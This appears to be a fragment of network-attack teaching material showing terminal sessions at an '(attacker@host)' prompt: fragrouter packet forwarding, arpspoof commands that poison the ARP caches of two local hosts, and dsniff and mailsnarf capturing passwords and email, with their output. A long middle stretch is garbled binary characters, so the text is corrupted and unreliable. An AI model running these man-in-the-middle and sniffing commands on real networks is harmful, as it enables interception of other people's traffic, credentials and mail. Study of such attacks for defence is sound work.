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(attacker@host) $ fragrouter -B1 
fragrouter: base-1: normal IP forwarding 
192.168.1.2.2080 > 192.168.1.1: S 592459704:592459704(0) 
192.168.1.2.2080 > 192.168.1.1: P 592459705:592459717(12) 
192.168.1.2.2080 > 192.168.1.1: . ack 235437339  
192.168.1.2.2080 > 192.168.1.1: P 592459717:592459730(13)�
�

�

���'�*����'
'��� �

5�� 	�� ��� �������� �� ���� 
��	��
������ ������� �� ����� �	� ������ 	�� �� ��������

���	����������� #�����������		�������-���������&��	
�������������	��������		�������

�����������#72��������������1�����+	
����	��,2��������%%%�%%%�%%%�%%%�!�����"�

��	
��� �	� �	�  #�� ������� %%6%%6%%6%%6%%6%%� !�������"1�� � ����� ��� �� +�����  �� �

�����(
����������	��	����
����	��������	
�������������	���+�������������	���

!	���	���"������	��	��������&��
��������	�����	��
���	������	�������������

�	� ������#����		��	�� ��8����� �������	
�� �������+�����	
�� �������������

�������!����9:;�9<=�9�9������������������9:;�9<=�9�;������������"6�

�
(attacker@host) $ arpspoof -i eth0 -t 192.168.1.1 192.168.1.2 & 
0:50:56:7b:b4:d8 0:1:2:9a:19:bd 0806 42: arp reply 192.168.1.2 is-at 
0:50:56:7b:b4:d8 
0:50:56:7b:b4:d8 0:1:2:9a:19:bd 0806 42: arp reply 192.168.1.2 is-at 
0:50:56:7b:b4:d8 
 
(attacker@host) $ arpspoof -i eth0 -t 192.168.1.2 192.168.1.1 & 
0:50:56:7b:b4:d8 0:50:56:59:2a:a2 0806 42: arp reply 192.168.1.1 is-at 
0:50:56:7b:b4:d8 
0:50:56:7b:b4:d8 0:50:56:59:2a:a2 0806 42: arp reply 192.168.1.1 is-at 
0:50:56:7b:b4:d8�
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(attacker@host) $ dsniff -i eth0 -w output.txt 
dsniff: listening on eth0�
�
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(attacker@host) $ mailsnarf -i eth0  
mailsnarf: listening on eth0�
�
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